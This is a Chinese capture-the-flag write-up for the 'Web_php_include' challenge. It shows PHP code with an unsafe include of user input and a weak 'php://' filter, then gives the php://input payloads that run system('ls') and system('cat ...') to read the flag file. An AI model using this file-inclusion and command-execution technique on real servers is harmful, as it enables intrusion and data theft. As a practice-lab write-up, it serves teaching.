Web_php_include 攻防世界

复制代码
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {    以是否检测到php://为判断执行循环
    $page=str_replace("php://", "", $page);//传入空值,替换
}
include($page);
?>

综上分析,get方式好像挺难去看到这个flag的,因为这种代码下的flag通常放在一个文件中,需要先展开ls,然后在cat查看。那我们就尝试用post传参

准备好一个Firefox 一个max hackbar

通过php伪协议php://input

首先post传入第一个命令 ,这个命令用来展开目录

复制代码
<php
system("ls")
?>

随后得到fl4gisisish3r3.php 一般这种文件就是flag,

我们使用

复制代码
<?php
system("cat fl4gisisish3r3.php ")//查看文件下的flag
?>

有的flag会直接在屏幕上,有的就藏在背后i的代码里,这个就是

相关推荐
unable code4 小时前
内存取证-[安洵杯 2019]Attack
网络安全·ctf·misc·1024程序员节·内存取证
unable code14 小时前
CTF-SPCS-Forensics
网络安全·ctf·misc·1024程序员节·取证
Chen--Xing18 小时前
HGAME 2026 -- Crypto -- WriteUp
ctf·crypto·hgame
feasibility.1 天前
打造AI+准SaaS:中文法律检索分析平台
vue.js·人工智能·自然语言处理·django·sass·web·法律
unable code2 天前
内存取证-卡比卡比卡比
网络安全·ctf·misc·1024程序员节·内存取证
unable code2 天前
内存取证-Stager
网络安全·ctf·misc·1024程序员节·内存取证
曲幽3 天前
FastAPI 实战:WebSocket 从入门到上线,使用避坑指南
python·websocket·fastapi·web·async·asyncio
unable code3 天前
内存取证-easy_mem_3
网络安全·ctf·misc·1024程序员节·内存取证
unable code3 天前
内存取证-easy_mem_2
网络安全·ctf·misc·1024程序员节·内存取证
unable code4 天前
内存取证-easy_mem_1
网络安全·ctf·misc·1024程序员节·内存取证